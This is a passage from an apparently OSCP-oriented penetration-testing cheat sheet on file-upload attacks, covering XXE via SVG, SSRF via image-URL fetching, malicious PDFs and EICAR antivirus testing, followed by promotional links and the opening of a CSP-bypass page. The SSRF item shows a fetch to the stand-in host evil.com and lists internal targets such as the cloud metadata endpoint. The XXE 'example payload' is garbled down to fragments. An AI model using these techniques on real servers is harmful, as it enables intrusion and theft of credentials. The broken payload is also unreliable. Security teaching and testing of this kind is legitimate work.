#### **7. XXE Attack via SVG Upload**
Upload an SVG file containing a malicious XML entity
**How it Works:**
* If the application **parses XML without proper security settings**, attackers can perform **XXE attacks** to read system files.
**Example Payload (SVG with XXE):**
```xml
]>
&xxe;
```
***
#### **8. SSRF via Image URL Fetching**
If the server allows fetching images from external URLs, use it for **SSRF**.
**How it Works:**
* If the web app allows uploading images via URL (`fetch(https://evil.com/image.png)`), attackers can request **internal resources** like:
```
http://localhost/admin
http://169.254.169.254/latest/meta-data/
```
***
#### **9. XXE and CORS Bypass with PDF Uploads**
Uploading a specially crafted **PDF** to exploit **XXE or CORS misconfigurations**.
**How it Works:**
* Malicious PDFs can execute **JavaScript** or **leak data via CORS requests**.
***
#### **10. Uploading the EICAR File to Test Antivirus Detection**
Uploading the [EICAR test file](https://secure.eicar.org/eicar.com.txt)
**How it Works:**
* The **EICAR file** is a harmless string that **triggers antivirus alerts**.
* Uploading this file helps test if the server has **malware protection**.
***
{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# Content Security Policy (CSP) bypass
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## Basic info 
.png)
